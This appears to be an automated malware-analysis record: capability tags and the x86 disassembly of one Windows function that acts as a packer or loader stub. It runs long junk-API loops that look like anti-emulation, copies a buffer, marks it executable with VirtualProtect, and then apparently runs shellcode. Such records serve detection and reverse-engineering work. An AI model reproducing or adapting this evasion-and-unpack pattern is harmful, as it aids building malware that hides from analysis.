Function at 0x80b4d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x80f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
mov edi, 0x3661b338
cmp dword [0x22e422c], 0xc31
jne 0x80b504
push 0
call ebx
push 0
call esi
dec edi
jne 0x80b4f4
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x80b527
mov eax, dword [0x811014]
mov dword [0x22e45b4], eax
cmp dword [0x22e422c], 0x3c
jne 0x80b535
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x80b515
cmp dword [0x22e422c], 0x7c
jne 0x80b5b5
push ebx
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push ebx
call dword [sym.imp.USER32.dll_SetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalShrink]
cmp dword [0x22e422c], 0x2d
jne 0x80b597
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0x80dc04
push 0x811dc8
call fcn.0040119d
fldz
fstp qword [esp]
call fcn.00401040
fstp st(0)
add esp, 8
cmp dword [0x22e422c], 0x110a
jne 0x80b624
mov dword [0x22e4220], ebx
mov dword [0x22e4224], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push ebx
call fcn.0040115d
push ebx
push ebx
call fcn.0040115d
push ebx
push ebx
call fcn.0040115d
push ebx
call fcn.0040100f
push ebx
push ebx
push ebx
call fcn.0040125a
add esp, 0x28
call fcn.0080b290
xor esi, esi
cmp dword [0x22e422c], ebx
jbe 0x80b67d
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
lea esp, [esp]
mov edx, dword [0x22e45b4]
mov dword [ebp - 8], edx
mov eax, 0xa231
add dword [ebp - 8], eax
cmp dword [0x22e422c], 0x5ab
mov eax, dword [ebp - 8]
mov cl, byte [eax + esi]
mov edx, dword [0x22e3f50]
mov byte [edx + esi], cl
jne 0x80b674
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x22e422c]
jb 0x80b640
call fcn.0080b2c0
mov ecx, dword [0x22e422c]
mov edx, dword [0x22e3f50]
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080b460
call fcn.0080b2b0
mov ebx, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x80b6c7
cmp ebx, 0xf5bed7
jne 0x80b6d0
inc esi
cmp esi, 0x1ece7a52
jl 0x80b6b1
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor esi, esi
mov edi, edi
cmp esi, 0x12e6c3
jne 0x80b6ed
call fcn.0080b280
cmp dword [0x22e422c], 0x3dc
mov dword [0x22e3f54], 0x8e46a6f0
jne 0x80b71a
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 8], eax
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x80b6e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret